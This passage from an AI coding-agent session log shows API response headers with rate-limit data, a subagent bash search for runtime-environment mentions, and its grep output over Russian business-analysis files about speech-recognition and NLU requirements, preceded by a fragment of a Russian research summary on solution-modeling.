\u2014 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u044f\u0434\u0440\u0430 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0442\u0438\u043f\u0430\u043c\u0438 \u0430\u043a\u0442\u043e\u0440\u043e\u0432**, \u0430 \u043d\u0435 \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c\\n   \u0444\u043e\u0440\u043c\u044b: \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u2014 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 `M2`. \u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0439\\n   \u044f\u0434\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u2014 \u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439\u00bb\\n   ([\u00a74 \u0444\u0430\u0439\u043b\u0430 20-taxonomy.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/20-taxonomy.md#4-\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f-d--\u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438-\u044f\u0434\u0440\u0430)).\\n5. **\u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0430 \u043d\u0435 \u00abUML \u0438\u043b\u0438 BPMN\u00bb**. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0435\u0439\\n   \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 (\u0446\u0435\u043b\u044c, \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439,\\n   \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435, \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0440\u0438\u0441\u043a, \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u043e\u0431\u044a\u0451\u043c,\\n   \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0430), \u0430 \u043d\u0435 \u043e\u0442 \u043d\u043e\u0442\u0430\u0446\u0438\u0438 \u2014\\n   [\u00a71 \u0444\u0430\u0439\u043b\u0430 20-taxonomy.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/20-taxonomy.md#1-\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f-a--\u043a\u043b\u0430\u0441\u0441\u044b-\u043c\u043e\u0434\u0435\u043b\u0435\u0439-\u0440\u0435\u0448\u0435\u043d\u0438\u044f-mo-1mo-12).\\n6. **\u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 `HG-4` \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0441\u044c\u044e `A6`** (\u043e\u0442\u0432\u0435\u0442 \u043d\u0430 `Q-4` RFC, \u0432\u0430\u0440\u0438\u0430\u043d\u0442\\n   \u00ab\u0432\u00bb): `internal` \u2014 \u0411\u0410, `external-contract`/`regulated` \u2014 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\\n   \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u041e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u2014\\n   [\u00a73 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/30-decision-framework.md#3-\u0433\u0435\u0439\u0442\u044b-m1-hg-0-hg-2-hg-3-hg-4).\\n7. **Build-vs-buy: \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0441 \u043d\u0443\u043b\u044f.** \u0421\u043a\u0440\u0438\u043d\u0438\u043d\u0433 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e\\n   requirements-as-code \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (StrictDoc, Doorstop, Sphinx-Needs) \u0443\u0436\u0435\\n   \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442 \u0430\u0434\u0440\u0435\u0441\u0443\u0435\u043c\u043e\u0441\u0442\u044c, \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0443 `C-CORE`, \u0430 \u043e\u0431\u043c\u0435\u043d \u2014\\n   ReqIF; \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u044f\u0437\u044c \u0441 \u043c\u043e\u0434\u0435\u043b\u044f\u043c\u0438 \u0438\\n   \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0443\u0434\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438\\n   ([\u00a76 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/30-decision-framework.md#6-build-vs-buy-screening)).\\n8. **Mango \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 6 \u0438\u0437 12 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0438 4 \u0438\u0437 9 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u044f\u0434\u0440\u0430.**\\n   \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u0438 \u0434\u0435\u043b\u044c\u0442\u044b \u043a\u0430\u0441\u0442\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u2014\\n   [\u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/40-practice-and-cases.md#5-\u043c\u0430\u0442\u0440\u0438\u0446\u0430-\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f-mango--\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f)\\n   \u0438 [\u00a76 \u0444\u0430\u0439\u043b\u0430 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\"Linux\",\n[2026-09-29T07:46:03.432Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:03.446Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:03.449Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:03.458Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:03.468Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:03.479Z] [STDOUT]   },\n[2026-09-29T07:46:03.489Z] [STDOUT] }\n[2026-09-29T07:46:04.065Z] [STDOUT] [log_17b470, request-id: \"req_011CfXMoaw27hV5aqV5gAfCV\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 933ms\n[2026-09-29T07:46:04.078Z] [STDOUT] [log_17b470] response start {\n[2026-09-29T07:46:04.087Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:04.108Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:04.501Z] [STDOUT]   headers: {\n[2026-09-29T07:46:04.507Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:04.510Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:04.514Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:04.518Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:04.521Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:04.525Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:04.532Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:04.593Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:04.599Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:04.643Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:04.650Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:04.706Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:04.778Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:04.812Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:04.816Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:04.818Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:04.820Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:04.821Z] [STDOUT]     \"cf-ray\": \"a4295f319c3f29ad-FRA\",\n[2026-09-29T07:46:04.826Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:04.828Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:04.831Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:04.837Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:04.842Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:04 GMT\",\n[2026-09-29T07:46:04.846Z] [STDOUT]     \"request-id\": \"req_011CfXMoaw27hV5aqV5gAfCV\",\n[2026-09-29T07:46:04.856Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:04.862Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:04.863Z] [STDOUT]     traceresponse: \"00-eb52898b9fb33c29918b94463325d9a2-8ee226df2e10d435-01\",\n[2026-09-29T07:46:04.866Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:04.868Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:04.872Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:04.876Z] [STDOUT]   },\n[2026-09-29T07:46:04.881Z] [STDOUT]   durationMs: 933,\n[2026-09-29T07:46:04.886Z] [STDOUT] }\n[2026-09-29T07:46:04.897Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:04.907Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:04 GMT\",\n[2026-09-29T07:46:04.909Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:04.930Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:04.934Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:04.936Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:04.942Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:04.948Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:04.956Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:04.962Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:04.965Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:04.968Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:04.972Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:04.975Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:04.978Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:04.984Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:04.987Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:04.990Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:04.995Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:04.999Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:05.007Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:05.013Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:05.015Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:05.019Z] [STDOUT]   \"request-id\": \"req_011CfXMoaw27hV5aqV5gAfCV\",\n[2026-09-29T07:46:05.022Z] [STDOUT]   \"traceresponse\": \"00-eb52898b9fb33c29918b94463325d9a2-8ee226df2e10d435-01\",\n[2026-09-29T07:46:05.027Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:05.033Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:05.040Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:05.044Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:05.047Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:05.051Z] [STDOUT]   \"cf-ray\": \"a4295f319c3f29ad-FRA\",\n[2026-09-29T07:46:05.054Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:05.058Z] [STDOUT] [log_17b470] response parsed {\n[2026-09-29T07:46:05.061Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:05.064Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:05.069Z] [STDOUT]   body: X {\n[2026-09-29T07:46:05.071Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:05.075Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:05.077Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:05.081Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:05.084Z] [STDOUT]     },\n[2026-09-29T07:46:05.088Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:05.092Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:05.095Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:05.098Z] [STDOUT]   },\n[2026-09-29T07:46:05.101Z] [STDOUT]   durationMs: 938,\n[2026-09-29T07:46:05.108Z] [STDOUT] }\n[2026-09-29T07:46:05.113Z] [INFO] {\n[2026-09-29T07:46:05.113Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"task_id\": \"b5232ejry\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"owned_by_subagent\": true,\n[2026-09-29T07:46:05.113Z] [INFO]   \"tool_use_id\": \"toolu_01WPasMniLC2ZPWsJq3cLiBF\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"description\": \"Find runtime environment mentions\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:46:05.113Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"uuid\": \"485ce7c5-35fa-48cf-b654-996f5d9826e6\",\n[2026-09-29T07:46:05.113Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:05.113Z] [INFO] }\n[2026-09-29T07:46:05.250Z] [INFO] {\n[2026-09-29T07:46:05.250Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"task_id\": \"b5232ejry\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"tool_use_id\": \"toolu_01WPasMniLC2ZPWsJq3cLiBF\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"summary\": \"Find runtime environment mentions\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"uuid\": \"d1875f30-2714-4b0f-b512-b6d9f7b7832c\",\n[2026-09-29T07:46:05.250Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:05.250Z] [INFO] }\n[2026-09-29T07:46:05.264Z] [INFO] {\n[2026-09-29T07:46:05.264Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"message\": {\n[2026-09-29T07:46:05.264Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:05.264Z] [INFO]     \"content\": [\n[2026-09-29T07:46:05.264Z] [INFO]       {\n[2026-09-29T07:46:05.264Z] [INFO]         \"tool_use_id\": \"toolu_01WPasMniLC2ZPWsJq3cLiBF\",\n[2026-09-29T07:46:05.264Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:05.264Z] [INFO]         \"content\": \"./runs/2026/RUN-0027/inputs/chat-transcript.md:146:\u0414\u043e\u0441\u0442\u0443\u043f  \u043a \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c\u0443 \u044f\u0449\u0438\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 imap.yandex.ru \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 IMAP \\n./runs/2026/RUN-0027/inputs/978-chat-export-1787301801668.json:1:[{\\\"id\\\":\\\"50ab7a30-44d7-42ac-8ebf-a6db167a2702\\\",\\\"user_id\\\":\\\"8d5b7383-092a-4fba-b32e-15c13d7c41e1\\\",\\\"title\\\":\\\"978 \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 email \u0432 \u041b\u041a\\\",\\\"chat\\\":{\\\"history\\\":{\\\"messages\\\":{\\\"3db7\\n./runs/2026/RUN-0057/outputs/L3-technical-notes.md:22:| Q1 | \u041a\u0430\u043a\u043e\u0432\u0430 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f (WER/accuracy) \u0434\u043b\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 MANGO OFFICE \u0438 Yandex SpeechKit, \u043d\u0430 \u043a\u0430\u043a\u043e\u043c \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438 \u043f\u043e \u043a\u0430\ufffd\\n./runs/2026/RUN-0057/outputs/L3-technical-notes.md:63:| P9 | \u0418\u0418-\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043b\u0438\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u0447\u0430\u0441\u0442\u043e\u0442\u0435 (\u043f\u043e\u0434\u0431\u043e\u0440 \u0441\u0438\u043d\u043e\u043d\u0438\u043c\u043e\u0432 \u2014 8 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u0447\u0430\u0441, YandexGPT \u2014 30 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u0447\u0430\u0441) | [SA, \u00a76.2.1, \u0441.44-\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:49:\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u00ab\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit)\u00bb. \u041f\u0440\u0430\u0432\u043e \u043d\u0430 \u0442\u0430\u043a\u043e\u0435 \u0442\u043e\u043b\u043a\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u0451\u0442 \u0441\u0430\u043c\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f:\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:50:\u0434\u043b\u044f \u0420\u043e\u0431\u043e\u0442\u043e\u0432 \u00ab\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 MANGO OFFICE \u0438\u043b\u0438 Yandex SpeechKit\u00bb [ROBOTFIL, \u00a73.5, \u0441.28-32], \u0434\u043b\u044f\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:51:\u0420\u0435\u0447\u0435\u0432\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u00ab3iTech \u2026 Yandex SpeechKit \u2014 \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f\u00bb [SA, \u00a73.2, \u0441.14-16].\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:118:| 1.0 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0440\u0443\u0441\u0441\u043a\u043e\u0439 \u0440\u0435\u0447\u0438 | \u0414\u0430 | **\u0414\u0430.** \u00ab\u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 MANGO OFFICE \u0438\u043b\u0438 Y\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:119:| 2.0 | \u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0441\u043b\u0438\u0442\u043d\u043e\u0439 \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0447\u0438 | \u0414\u0430 | **\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit).** [ROBOTFIL] \u0440\u0435\u0436\u0438\u043c\u044b \u0441\u043b\u0438\u0442\u043d\u043e\u0439 \ufffd\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:121:| 4.0 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u043c\u044b \u0438 \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043b\u043e\u0432\u0430 \u0438\u0437 \u0434\u0440\u0443\u0433\u0438\u0445 \u044f\u0437\u044b\u043a\u043e\u0432 | \u0414\u0430, \u043d\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u043e\u0431\ufffd\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:124:| 7.0 | \u0422\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u043d\u0438\u0436\u0435 93%. | \u0414\u0430 | **\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445.** \u0427\u0438\u0441\u043b\u043e\u0432\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u0432 [ROBOTF\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:197:| 4.0 | \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0432 \u0441\u0432\u043e\u0435\u043c \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0431\u0430\u0437\u0435 GPT \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u043f\ufffd\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:198:| 5.0 | \u041c\u043e\u0434\u0443\u043b\u044c NLU \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043d\u0430 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0442\u0438\u043f\u0430 BERT \u0438\u043b\u0438 GPT | \u0414\u0430. | **\ufffd\\n./runs/2026/RUN-0057/outputs/L0-customer-form-with-assessment.md:202:| 9.0 | \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f  \u0434\u043b\u044f \u043d\u0430\u043c\u0435\u0440\u0435\u043d\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:42:| 1.0 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0442\u044c 